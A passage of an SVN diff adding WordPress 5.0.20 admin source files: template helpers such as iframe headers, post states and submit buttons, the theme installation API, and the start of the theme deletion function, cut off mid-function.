+	echo $output;
+}
+
+/**
+ * Outputs the modal window used for attaching media to posts or pages in the media-listing screen.
+ *
+ * @since 2.7.0
+ *
+ * @param string $found_action
+ */
+function find_posts_div($found_action = '') {
+?>
+	<div id="find-posts" class="find-box" style="display: none;">
+		<div id="find-posts-head" class="find-box-head">
+			<?php _e( 'Attach to existing content' ); ?>
+			<button type="button" id="find-posts-close"><span class="screen-reader-text"><?php _e( 'Close media attachment panel' ); ?></span></button>
+		</div>
+		<div class="find-box-inside">
+			<div class="find-box-search">
+				<?php if ( $found_action ) { ?>
+					<input type="hidden" name="found_action" value="<?php echo esc_attr($found_action); ?>" />
+				<?php } ?>
+				<input type="hidden" name="affected" id="affected" value="" />
+				<?php wp_nonce_field( 'find-posts', '_ajax_nonce', false ); ?>
+				<label class="screen-reader-text" for="find-posts-input"><?php _e( 'Search' ); ?></label>
+				<input type="text" id="find-posts-input" name="ps" value="" />
+				<span class="spinner"></span>
+				<input type="button" id="find-posts-search" value="<?php esc_attr_e( 'Search' ); ?>" class="button" />
+				<div class="clear"></div>
+			</div>
+			<div id="find-posts-response"></div>
+		</div>
+		<div class="find-box-buttons">
+			<?php submit_button( __( 'Select' ), 'primary alignright', 'find-posts-submit', false ); ?>
+			<div class="clear"></div>
+		</div>
+	</div>
+<?php
+}
+
+/**
+ * Displays the post password.
+ *
+ * The password is passed through esc_attr() to ensure that it is safe for placing in an html attribute.
+ *
+ * @since 2.7.0
+ */
+function the_post_password() {
+	$post = get_post();
+	if ( isset( $post->post_password ) )
+		echo esc_attr( $post->post_password );
+}
+
+/**
+ * Get the post title.
+ *
+ * The post title is fetched and if it is blank then a default string is
+ * returned.
+ *
+ * @since 2.7.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string The post title if set.
+ */
+function _draft_or_post_title( $post = 0 ) {
+	$title = get_the_title( $post );
+	if ( empty( $title ) )
+		$title = __( '(no title)' );
+	return esc_html( $title );
+}
+
+/**
+ * Displays the search query.
+ *
+ * A simple wrapper to display the "s" parameter in a `GET` URI. This function
+ * should only be used when the_search_query() cannot.
+ *
+ * @since 2.7.0
+ */
+function _admin_search_query() {
+	echo isset($_REQUEST['s']) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';
+}
+
+/**
+ * Generic Iframe header for use with Thickbox
+ *
+ * @since 2.7.0
+ *
+ * @global string    $hook_suffix
+ * @global string    $admin_body_class
+ * @global WP_Locale $wp_locale
+ *
+ * @param string $title      Optional. Title of the Iframe page. Default empty.
+ * @param bool   $deprecated Not used.
+ */
+function iframe_header( $title = '', $deprecated = false ) {
+	show_admin_bar( false );
+	global $hook_suffix, $admin_body_class, $wp_locale;
+	$admin_body_class = preg_replace('/[^a-z0-9_-]+/i', '-', $hook_suffix);
+
+	$current_screen = get_current_screen();
+
+	@header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
+	_wp_admin_html_begin();
+?>
+<title><?php bloginfo('name') ?> &rsaquo; <?php echo $title ?> &#8212; <?php _e('WordPress'); ?></title>
+<?php
+wp_enqueue_style( 'colors' );
+?>
+<script type="text/javascript">
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+function tb_close(){var win=window.dialogArguments||opener||parent||top;win.tb_remove();}
+var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>',
+	pagenow = '<?php echo esc_js( $current_screen->id ); ?>',
+	typenow = '<?php echo esc_js( $current_screen->post_type ); ?>',
+	adminpage = '<?php echo esc_js( $admin_body_class ); ?>',
+	thousandsSeparator = '<?php echo esc_js( $wp_locale->number_format['thousands_sep'] ); ?>',
+	decimalPoint = '<?php echo esc_js( $wp_locale->number_format['decimal_point'] ); ?>',
+	isRtl = <?php echo (int) is_rtl(); ?>;
+</script>
+<?php
+/** This action is documented in wp-admin/admin-header.php */
+do_action( 'admin_enqueue_scripts', $hook_suffix );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( "admin_print_styles-$hook_suffix" );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( 'admin_print_styles' );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( "admin_print_scripts-$hook_suffix" );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( 'admin_print_scripts' );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( "admin_head-$hook_suffix" );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( 'admin_head' );
+
+$admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );
+
+if ( is_rtl() )
+	$admin_body_class .= ' rtl';
+
+?>
+</head>
+<?php
+/** This filter is documented in wp-admin/admin-header.php */
+$admin_body_classes = apply_filters( 'admin_body_class', '' );
+?>
+<body<?php
+/**
+ * @global string $body_id
+ */
+if ( isset($GLOBALS['body_id']) ) echo ' id="' . $GLOBALS['body_id'] . '"'; ?> class="wp-admin wp-core-ui no-js iframe <?php echo $admin_body_classes . ' ' . $admin_body_class; ?>">
+<script type="text/javascript">
+(function(){
+var c = document.body.className;
+c = c.replace(/no-js/, 'js');
+document.body.className = c;
+})();
+</script>
+<?php
+}
+
+/**
+ * Generic Iframe footer for use with Thickbox
+ *
+ * @since 2.7.0
+ */
+function iframe_footer() {
+	/*
+	 * We're going to hide any footer output on iFrame pages,
+	 * but run the hooks anyway since they output JavaScript
+	 * or other needed content.
+	 */
+
+	/**
+	 * @global string $hook_suffix
+	 */
+	global $hook_suffix;
+	?>
+	<div class="hidden">
+<?php
+	/** This action is documented in wp-admin/admin-footer.php */
+	do_action( 'admin_footer', $hook_suffix );
+
+	/** This action is documented in wp-admin/admin-footer.php */
+	do_action( "admin_print_footer_scripts-$hook_suffix" );
+
+	/** This action is documented in wp-admin/admin-footer.php */
+	do_action( 'admin_print_footer_scripts' );
+?>
+	</div>
+<script type="text/javascript">if(typeof wpOnload=="function")wpOnload();</script>
+</body>
+</html>
+<?php
+}
+
+/**
+ *
+ * @param WP_Post $post
+ */
+function _post_states($post) {
+	$post_states = array();
+	if ( isset( $_REQUEST['post_status'] ) )
+		$post_status = $_REQUEST['post_status'];
+	else
+		$post_status = '';
+
+	if ( !empty($post->post_password) )
+		$post_states['protected'] = __('Password protected');
+	if ( 'private' == $post->post_status && 'private' != $post_status )
+		$post_states['private'] = __('Private');
+	if ( 'draft' === $post->post_status ) {
+		if ( get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ) {
+			$post_states[] = __( 'Customization Draft' );
+		} elseif ( 'draft' !== $post_status ) {
+			$post_states['draft'] = __( 'Draft' );
+		}
+	} elseif ( 'trash' === $post->post_status && get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ) {
+		$post_states[] = __( 'Customization Draft' );
+	}
+	if ( 'pending' == $post->post_status && 'pending' != $post_status )
+		$post_states['pending'] = _x('Pending', 'post status');
+	if ( is_sticky($post->ID) )
+		$post_states['sticky'] = __('Sticky');
+
+	if ( 'future' === $post->post_status ) {
+		$post_states['scheduled'] = __( 'Scheduled' );
+	}
+
+	if ( 'page' === get_option( 'show_on_front' ) ) {
+		if ( intval( get_option( 'page_on_front' ) ) === $post->ID ) {
+			$post_states['page_on_front'] = __( 'Front Page' );
+		}
+
+		if ( intval( get_option( 'page_for_posts' ) ) === $post->ID ) {
+			$post_states['page_for_posts'] = __( 'Posts Page' );
+		}
+	}
+
+	if ( intval( get_option( 'wp_page_for_privacy_policy' ) ) === $post->ID ) {
+		$post_states['page_for_privacy_policy'] = __( 'Privacy Policy Page' );
+	}
+
+	/**
+	 * Filters the default post display states used in the posts list table.
+	 *
+	 * @since 2.8.0
+	 * @since 3.6.0 Added the `$post` parameter.
+	 *
+	 * @param array   $post_states An array of post display states.
+	 * @param WP_Post $post        The current post object.
+	 */
+	$post_states = apply_filters( 'display_post_states', $post_states, $post );
+
+	if ( ! empty($post_states) ) {
+		$state_count = count($post_states);
+		$i = 0;
+		echo ' &mdash; ';
+		foreach ( $post_states as $state ) {
+			++$i;
+			( $i == $state_count ) ? $sep = '' : $sep = ', ';
+			echo "<span class='post-state'>$state$sep</span>";
+		}
+	}
+
+}
+
+/**
+ *
+ * @param WP_Post $post
+ */
+function _media_states( $post ) {
+	$media_states = array();
+	$stylesheet = get_option('stylesheet');
+
+	if ( current_theme_supports( 'custom-header') ) {
+		$meta_header = get_post_meta($post->ID, '_wp_attachment_is_custom_header', true );
+
+		if ( is_random_header_image() ) {
+			$header_images = wp_list_pluck( get_uploaded_header_images(), 'attachment_id' );
+
+			if ( $meta_header == $stylesheet && in_array( $post->ID, $header_images ) ) {
+				$media_states[] = __( 'Header Image' );
+			}
+		} else {
+			$header_image = get_header_image();
+
+			// Display "Header Image" if the image was ever used as a header image
+			if ( ! empty( $meta_header ) && $meta_header == $stylesheet && $header_image !== wp_get_attachment_url( $post->ID ) ) {
+				$media_states[] = __( 'Header Image' );
+			}
+
+			// Display "Current Header Image" if the image is currently the header image
+			if ( $header_image && $header_image == wp_get_attachment_url( $post->ID ) ) {
+				$media_states[] = __( 'Current Header Image' );
+			}
+		}
+	}
+
+	if ( current_theme_supports( 'custom-background') ) {
+		$meta_background = get_post_meta($post->ID, '_wp_attachment_is_custom_background', true );
+
+		if ( ! empty( $meta_background ) && $meta_background == $stylesheet ) {
+			$media_states[] = __( 'Background Image' );
+
+			$background_image = get_background_image();
+			if ( $background_image && $background_image == wp_get_attachment_url( $post->ID ) ) {
+				$media_states[] = __( 'Current Background Image' );
+			}
+		}
+	}
+
+	if ( $post->ID == get_option( 'site_icon' ) ) {
+		$media_states[] = __( 'Site Icon' );
+	}
+
+	if ( $post->ID == get_theme_mod( 'custom_logo' ) ) {
+		$media_states[] = __( 'Logo' );
+	}
+
+	/**
+	 * Filters the default media display states for items in the Media list table.
+	 *
+	 * @since 3.2.0
+	 * @since 4.8.0 Added the `$post` parameter.
+	 *
+	 * @param array   $media_states An array of media states. Default 'Header Image',
+	 *                              'Background Image', 'Site Icon', 'Logo'.
+	 * @param WP_Post $post         The current attachment object.
+	 */
+	$media_states = apply_filters( 'display_media_states', $media_states, $post );
+
+	if ( ! empty( $media_states ) ) {
+		$state_count = count( $media_states );
+		$i = 0;
+		echo ' &mdash; ';
+		foreach ( $media_states as $state ) {
+			++$i;
+			( $i == $state_count ) ? $sep = '' : $sep = ', ';
+			echo "<span class='post-state'>$state$sep</span>";
+		}
+	}
+}
+
+/**
+ * Test support for compressing JavaScript from PHP
+ *
+ * Outputs JavaScript that tests if compression from PHP works as expected
+ * and sets an option with the result. Has no effect when the current user
+ * is not an administrator. To run the test again the option 'can_compress_scripts'
+ * has to be deleted.
+ *
+ * @since 2.8.0
+ */
+function compression_test() {
+?>
+	<script type="text/javascript">
+	var compressionNonce = <?php echo wp_json_encode( wp_create_nonce( 'update_can_compress_scripts' ) ); ?>;
+	var testCompression = {
+		get : function(test) {
+			var x;
+			if ( window.XMLHttpRequest ) {
+				x = new XMLHttpRequest();
+			} else {
+				try{x=new ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{x=new ActiveXObject('Microsoft.XMLHTTP');}catch(e){};}
+			}
+
+			if (x) {
+				x.onreadystatechange = function() {
+					var r, h;
+					if ( x.readyState == 4 ) {
+						r = x.responseText.substr(0, 18);
+						h = x.getResponseHeader('Content-Encoding');
+						testCompression.check(r, h, test);
+					}
+				};
+
+				x.open('GET', ajaxurl + '?action=wp-compression-test&test='+test+'&_ajax_nonce='+compressionNonce+'&'+(new Date()).getTime(), true);
+				x.send('');
+			}
+		},
+
+		check : function(r, h, test) {
+			if ( ! r && ! test )
+				this.get(1);
+
+			if ( 1 == test ) {
+				if ( h && ( h.match(/deflate/i) || h.match(/gzip/i) ) )
+					this.get('no');
+				else
+					this.get(2);
+
+				return;
+			}
+
+			if ( 2 == test ) {
+				if ( '"wpCompressionTest' == r )
+					this.get('yes');
+				else
+					this.get('no');
+			}
+		}
+	};
+	testCompression.check();
+	</script>
+<?php
+}
+
+/**
+ * Echoes a submit button, with provided text and appropriate class(es).
+ *
+ * @since 3.1.0
+ *
+ * @see get_submit_button()
+ *
+ * @param string       $text             The text of the button (defaults to 'Save Changes')
+ * @param string       $type             Optional. The type and CSS class(es) of the button. Core values
+ *                                       include 'primary', 'small', and 'large'. Default 'primary'.
+ * @param string       $name             The HTML name of the submit button. Defaults to "submit". If no
+ *                                       id attribute is given in $other_attributes below, $name will be
+ *                                       used as the button's id.
+ * @param bool         $wrap             True if the output button should be wrapped in a paragraph tag,
+ *                                       false otherwise. Defaults to true
+ * @param array|string $other_attributes Other attributes that should be output with the button, mapping
+ *                                       attributes to their values, such as setting tabindex to 1, etc.
+ *                                       These key/value attribute pairs will be output as attribute="value",
+ *                                       where attribute is the key. Other attributes can also be provided
+ *                                       as a string such as 'tabindex="1"', though the array format is
+ *                                       preferred. Default null.
+ */
+function submit_button( $text = null, $type = 'primary', $name = 'submit', $wrap = true, $other_attributes = null ) {
+	echo get_submit_button( $text, $type, $name, $wrap, $other_attributes );
+}
+
+/**
+ * Returns a submit button, with provided text and appropriate class
+ *
+ * @since 3.1.0
+ *
+ * @param string       $text             Optional. The text of the button. Default 'Save Changes'.
+ * @param string       $type             Optional. The type and CSS class(es) of the button. Core values
+ *                                       include 'primary', 'small', and 'large'. Default 'primary large'.
+ * @param string       $name             Optional. The HTML name of the submit button. Defaults to "submit".
+ *                                       If no id attribute is given in $other_attributes below, `$name` will
+ *                                       be used as the button's id. Default 'submit'.
+ * @param bool         $wrap             Optional. True if the output button should be wrapped in a paragraph
+ *                                       tag, false otherwise. Default true.
+ * @param array|string $other_attributes Optional. Other attributes that should be output with the button,
+ *                                       mapping attributes to their values, such as `array( 'tabindex' => '1' )`.
+ *                                       These attributes will be output as `attribute="value"`, such as
+ *                                       `tabindex="1"`. Other attributes can also be provided as a string such
+ *                                       as `tabindex="1"`, though the array format is typically cleaner.
+ *                                       Default empty.
+ * @return string Submit button HTML.
+ */
+function get_submit_button( $text = '', $type = 'primary large', $name = 'submit', $wrap = true, $other_attributes = '' ) {
+	if ( ! is_array( $type ) )
+		$type = explode( ' ', $type );
+
+	$button_shorthand = array( 'primary', 'small', 'large' );
+	$classes = array( 'button' );
+	foreach ( $type as $t ) {
+		if ( 'secondary' === $t || 'button-secondary' === $t )
+			continue;
+		$classes[] = in_array( $t, $button_shorthand ) ? 'button-' . $t : $t;
+	}
+	// Remove empty items, remove duplicate items, and finally build a string.
+	$class = implode( ' ', array_unique( array_filter( $classes ) ) );
+
+	$text = $text ? $text : __( 'Save Changes' );
+
+	// Default the id attribute to $name unless an id was specifically provided in $other_attributes
+	$id = $name;
+	if ( is_array( $other_attributes ) && isset( $other_attributes['id'] ) ) {
+		$id = $other_attributes['id'];
+		unset( $other_attributes['id'] );
+	}
+
+	$attributes = '';
+	if ( is_array( $other_attributes ) ) {
+		foreach ( $other_attributes as $attribute => $value ) {
+			$attributes .= $attribute . '="' . esc_attr( $value ) . '" '; // Trailing space is important
+		}
+	} elseif ( ! empty( $other_attributes ) ) { // Attributes provided as a string
+		$attributes = $other_attributes;
+	}
+
+	// Don't output empty name and id attributes.
+	$name_attr = $name ? ' name="' . esc_attr( $name ) . '"' : '';
+	$id_attr = $id ? ' id="' . esc_attr( $id ) . '"' : '';
+
+	$button = '<input type="submit"' . $name_attr . $id_attr . ' class="' . esc_attr( $class );
+	$button	.= '" value="' . esc_attr( $text ) . '" ' . $attributes . ' />';
+
+	if ( $wrap ) {
+		$button = '<p class="submit">' . $button . '</p>';
+	}
+
+	return $button;
+}
+
+/**
+ *
+ * @global bool $is_IE
+ */
+function _wp_admin_html_begin() {
+	global $is_IE;
+
+	$admin_html_class = ( is_admin_bar_showing() ) ? 'wp-toolbar' : '';
+
+	if ( $is_IE )
+		@header('X-UA-Compatible: IE=edge');
+
+?>
+<!DOCTYPE html>
+<!--[if IE 8]>
+<html xmlns="http://www.w3.org/1999/xhtml" class="ie8 <?php echo $admin_html_class; ?>" <?php
+	/**
+	 * Fires inside the HTML tag in the admin header.
+	 *
+	 * @since 2.2.0
+	 */
+	do_action( 'admin_xml_ns' );
+?> <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 8) ]><!-->
+<html xmlns="http://www.w3.org/1999/xhtml" class="<?php echo $admin_html_class; ?>" <?php
+	/** This action is documented in wp-admin/includes/template.php */
+	do_action( 'admin_xml_ns' );
+?> <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+<?php
+}
+
+/**
+ * Convert a screen string to a screen object
+ *
+ * @since 3.0.0
+ *
+ * @param string $hook_name The hook name (also known as the hook suffix) used to determine the screen.
+ * @return WP_Screen Screen object.
+ */
+function convert_to_screen( $hook_name ) {
+	if ( ! class_exists( 'WP_Screen' ) ) {
+		_doing_it_wrong(
+			'convert_to_screen(), add_meta_box()',
+			sprintf(
+				/* translators: 1: wp-admin/includes/template.php 2: add_meta_box() 3: add_meta_boxes */
+				__( 'Likely direct inclusion of %1$s in order to use %2$s. This is very wrong. Hook the %2$s call into the %3$s action instead.' ),
+				'<code>wp-admin/includes/template.php</code>',
+				'<code>add_meta_box()</code>',
+				'<code>add_meta_boxes</code>'
+			),
+			'3.3.0'
+		);
+		return (object) array( 'id' => '_invalid', 'base' => '_are_belong_to_us' );
+	}
+
+	return WP_Screen::get( $hook_name );
+}
+
+/**
+ * Output the HTML for restoring the post data from DOM storage
+ *
+ * @since 3.6.0
+ * @access private
+ */
+function _local_storage_notice() {
+	?>
+	<div id="local-storage-notice" class="hidden notice is-dismissible">
+	<p class="local-restore">
+		<?php _e( 'The backup of this post in your browser is different from the version below.' ); ?>
+		<button type="button" class="button restore-backup"><?php _e('Restore the backup'); ?></button>
+	</p>
+	<p class="help">
+		<?php _e( 'This will replace the current editor content with the last backup version. You can use undo and redo in the editor to get the old content back or to return to the restored version.' ); ?>
+	</p>
+	</div>
+	<?php
+}
+
+/**
+ * Output a HTML element with a star rating for a given rating.
+ *
+ * Outputs a HTML element with the star rating exposed on a 0..5 scale in
+ * half star increments (ie. 1, 1.5, 2 stars). Optionally, if specified, the
+ * number of ratings may also be displayed by passing the $number parameter.
+ *
+ * @since 3.8.0
+ * @since 4.4.0 Introduced the `echo` parameter.
+ *
+ * @param array $args {
+ *     Optional. Array of star ratings arguments.
+ *
+ *     @type int|float $rating The rating to display, expressed in either a 0.5 rating increment,
+ *                             or percentage. Default 0.
+ *     @type string    $type   Format that the $rating is in. Valid values are 'rating' (default),
+ *                             or, 'percent'. Default 'rating'.
+ *     @type int       $number The number of ratings that makes up this rating. Default 0.
+ *     @type bool      $echo   Whether to echo the generated markup. False to return the markup instead
+ *                             of echoing it. Default true.
+ * }
+ * @return string Star rating HTML.
+ */
+function wp_star_rating( $args = array() ) {
+	$defaults = array(
+		'rating' => 0,
+		'type'   => 'rating',
+		'number' => 0,
+		'echo'   => true,
+	);
+	$r = wp_parse_args( $args, $defaults );
+
+	// Non-English decimal places when the $rating is coming from a string
+	$rating = (float) str_replace( ',', '.', $r['rating'] );
+
+	// Convert Percentage to star rating, 0..5 in .5 increments
+	if ( 'percent' === $r['type'] ) {
+		$rating = round( $rating / 10, 0 ) / 2;
+	}
+
+	// Calculate the number of each type of star needed
+	$full_stars = floor( $rating );
+	$half_stars = ceil( $rating - $full_stars );
+	$empty_stars = 5 - $full_stars - $half_stars;
+
+	if ( $r['number'] ) {
+		/* translators: 1: The rating, 2: The number of ratings */
+		$format = _n( '%1$s rating based on %2$s rating', '%1$s rating based on %2$s ratings', $r['number'] );
+		$title = sprintf( $format, number_format_i18n( $rating, 1 ), number_format_i18n( $r['number'] ) );
+	} else {
+		/* translators: 1: The rating */
+		$title = sprintf( __( '%s rating' ), number_format_i18n( $rating, 1 ) );
+	}
+
+	$output = '<div class="star-rating">';
+	$output .= '<span class="screen-reader-text">' . $title . '</span>';
+	$output .= str_repeat( '<div class="star star-full" aria-hidden="true"></div>', $full_stars );
+	$output .= str_repeat( '<div class="star star-half" aria-hidden="true"></div>', $half_stars );
+	$output .= str_repeat( '<div class="star star-empty" aria-hidden="true"></div>', $empty_stars );
+	$output .= '</div>';
+
+	if ( $r['echo'] ) {
+		echo $output;
+	}
+
+	return $output;
+}
+
+/**
+ * Output a notice when editing the page for posts (internal use only).
+ *
+ * @ignore
+ * @since 4.2.0
+ */
+function _wp_posts_page_notice() {
+	echo '<div class="notice notice-warning inline"><p>' . __( 'You are currently editing the page that shows your latest posts.' ) . '</p></div>';
+}
Index: /tags/5.0.20/src/wp-admin/includes/theme-install.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/theme-install.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/theme-install.php	(revision 56912)
@@ -0,0 +1,212 @@
+<?php
+/**
+ * WordPress Theme Installation Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+$themes_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()),
+	'abbr' => array('title' => array()), 'acronym' => array('title' => array()),
+	'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(),
+	'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(),
+	'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(),
+	'img' => array('src' => array(), 'class' => array(), 'alt' => array())
+);
+
+$theme_field_defaults = array( 'description' => true, 'sections' => false, 'tested' => true, 'requires' => true,
+	'rating' => true, 'downloaded' => true, 'downloadlink' => true, 'last_updated' => true, 'homepage' => true,
+	'tags' => true, 'num_ratings' => true
+);
+
+/**
+ * Retrieve list of WordPress theme features (aka theme tags)
+ *
+ * @since 2.8.0
+ *
+ * @deprecated since 3.1.0 Use get_theme_feature_list() instead.
+ *
+ * @return array
+ */
+function install_themes_feature_list() {
+	_deprecated_function( __FUNCTION__, '3.1.0', 'get_theme_feature_list()' );
+
+	if ( !$cache = get_transient( 'wporg_theme_feature_list' ) )
+		set_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
+
+	if ( $cache )
+		return $cache;
+
+	$feature_list = themes_api( 'feature_list', array() );
+	if ( is_wp_error( $feature_list ) )
+		return array();
+
+	set_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );
+
+	return $feature_list;
+}
+
+/**
+ * Display search form for searching themes.
+ *
+ * @since 2.8.0
+ *
+ * @param bool $type_selector
+ */
+function install_theme_search_form( $type_selector = true ) {
+	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
+	$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
+	if ( ! $type_selector )
+		echo '<p class="install-help">' . __( 'Search for themes by keyword.' ) . '</p>';
+	?>
+<form id="search-themes" method="get">
+	<input type="hidden" name="tab" value="search" />
+	<?php if ( $type_selector ) : ?>
+	<label class="screen-reader-text" for="typeselector"><?php _e('Type of search'); ?></label>
+	<select	name="type" id="typeselector">
+	<option value="term" <?php selected('term', $type) ?>><?php _e('Keyword'); ?></option>
+	<option value="author" <?php selected('author', $type) ?>><?php _e('Author'); ?></option>
+	<option value="tag" <?php selected('tag', $type) ?>><?php _ex('Tag', 'Theme Installer'); ?></option>
+	</select>
+	<label class="screen-reader-text" for="s"><?php
+	switch ( $type ) {
+		case 'term':
+			_e( 'Search by keyword' );
+			break;
+		case 'author':
+			_e( 'Search by author' );
+			break;
+		case 'tag':
+			_e( 'Search by tag' );
+			break;
+	}
+	?></label>
+	<?php else : ?>
+	<label class="screen-reader-text" for="s"><?php _e('Search by keyword'); ?></label>
+	<?php endif; ?>
+	<input type="search" name="s" id="s" size="30" value="<?php echo esc_attr($term) ?>" autofocus="autofocus" />
+	<?php submit_button( __( 'Search' ), '', 'search', false ); ?>
+</form>
+<?php
+}
+
+/**
+ * Display tags filter for themes.
+ *
+ * @since 2.8.0
+ */
+function install_themes_dashboard() {
+	install_theme_search_form( false );
+?>
+<h4><?php _e('Feature Filter') ?></h4>
+<p class="install-help"><?php _e( 'Find a theme based on specific features.' ); ?></p>
+
+<form method="get">
+	<input type="hidden" name="tab" value="search" />
+	<?php
+	$feature_list = get_theme_feature_list();
+	echo '<div class="feature-filter">';
+
+	foreach ( (array) $feature_list as $feature_name => $features ) {
+		$feature_name = esc_html( $feature_name );
+		echo '<div class="feature-name">' . $feature_name . '</div>';
+
+		echo '<ol class="feature-group">';
+		foreach ( $features as $feature => $feature_name ) {
+			$feature_name = esc_html( $feature_name );
+			$feature = esc_attr($feature);
+?>
+
+<li>
+	<input type="checkbox" name="features[]" id="feature-id-<?php echo $feature; ?>" value="<?php echo $feature; ?>" />
+	<label for="feature-id-<?php echo $feature; ?>"><?php echo $feature_name; ?></label>
+</li>
+
+<?php	} ?>
+</ol>
+<br class="clear" />
+<?php
+	} ?>
+
+</div>
+<br class="clear" />
+<?php submit_button( __( 'Find Themes' ), '', 'search' ); ?>
+</form>
+<?php
+}
+
+/**
+ * @since 2.8.0
+ */
+function install_themes_upload() {
+?>
+<p class="install-help"><?php _e('If you have a theme in a .zip format, you may install it by uploading it here.'); ?></p>
+<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo self_admin_url('update.php?action=upload-theme'); ?>">
+	<?php wp_nonce_field( 'theme-upload' ); ?>
+	<label class="screen-reader-text" for="themezip"><?php _e( 'Theme zip file' ); ?></label>
+	<input type="file" id="themezip" name="themezip" />
+	<?php submit_button( __( 'Install Now' ), '', 'install-theme-submit', false ); ?>
+</form>
+	<?php
+}
+
+/**
+ * Prints a theme on the Install Themes pages.
+ *
+ * @deprecated 3.4.0
+ *
+ * @global WP_Theme_Install_List_Table $wp_list_table
+ *
+ * @param object $theme
+ */
+function display_theme( $theme ) {
+	_deprecated_function( __FUNCTION__, '3.4.0' );
+	global $wp_list_table;
+	if ( ! isset( $wp_list_table ) ) {
+		$wp_list_table = _get_list_table('WP_Theme_Install_List_Table');
+	}
+	$wp_list_table->prepare_items();
+	$wp_list_table->single_row( $theme );
+}
+
+/**
+ * Display theme content based on theme list.
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Theme_Install_List_Table $wp_list_table
+ */
+function display_themes() {
+	global $wp_list_table;
+
+	if ( ! isset( $wp_list_table ) ) {
+		$wp_list_table = _get_list_table('WP_Theme_Install_List_Table');
+	}
+	$wp_list_table->prepare_items();
+	$wp_list_table->display();
+
+}
+
+/**
+ * Display theme information in dialog box form.
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Theme_Install_List_Table $wp_list_table
+ */
+function install_theme_information() {
+	global $wp_list_table;
+
+	$theme = themes_api( 'theme_information', array( 'slug' => wp_unslash( $_REQUEST['theme'] ) ) );
+
+	if ( is_wp_error( $theme ) )
+		wp_die( $theme );
+
+	iframe_header( __('Theme Installation') );
+	if ( ! isset( $wp_list_table ) ) {
+		$wp_list_table = _get_list_table('WP_Theme_Install_List_Table');
+	}
+	$wp_list_table->theme_installer_single( $theme );
+	iframe_footer();
+	exit;
+}
Index: /tags/5.0.20/src/wp-admin/includes/theme.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/theme.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/theme.php	(revision 56912)
@@ -0,0 +1,706 @@
+<?php
+/**
+ * WordPress Theme Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Remove a theme
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ *
+ * @param string $stylesheet Stylesheet of the theme to delete
+ * @param string $redirect Redirect to page when complete.
+ * @return void|bool|WP_Error When void, echoes content.
+ */
+function delete_theme($stylesheet, $redirect = '') {
+	global $wp_filesystem;
+
+	if ( empty($stylesheet) )
+		return false;
+
+	if ( empty( $redirect ) ) {
+		$redirect = wp_nonce_url('themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet);
+	}
+
+	ob_start();
+	$credentials = request_filesystem_credentials( $redirect );
+	$data = ob_get_clean();
+
+	if ( false === $credentials ) {
+		if ( ! empty( $data ) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! WP_Filesystem( $credentials ) ) {
+		ob_start();
+		request_filesystem_credentials( $redirect, '', true ); // Failed to connect, Error and request again.
+		$data = ob_get_clean();
+
+		if ( ! empty($data) ) {
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! is_object($wp_filesystem) )
+		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
+
+	if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+		return new WP_Error('fs_error', __('Filesystem error.'), $wp_filesystem->errors);
+
+	// Get the base plugin folder.
+	$themes_dir = $wp_filesystem->wp_themes_dir();
+	if ( empty( $themes_dir ) ) {
+		return new WP_Error( 'fs_no_themes_dir', __( 'Unable to locate WordPress theme directory.' ) );
+	}
+
+	$themes_dir = trailingslashit( $themes_dir );
+	$theme_dir = trailingslashit( $themes_dir . $stylesheet );
+	$deleted = $wp_filesystem->delete( $theme_dir, true );
+
+	if ( ! $deleted ) {
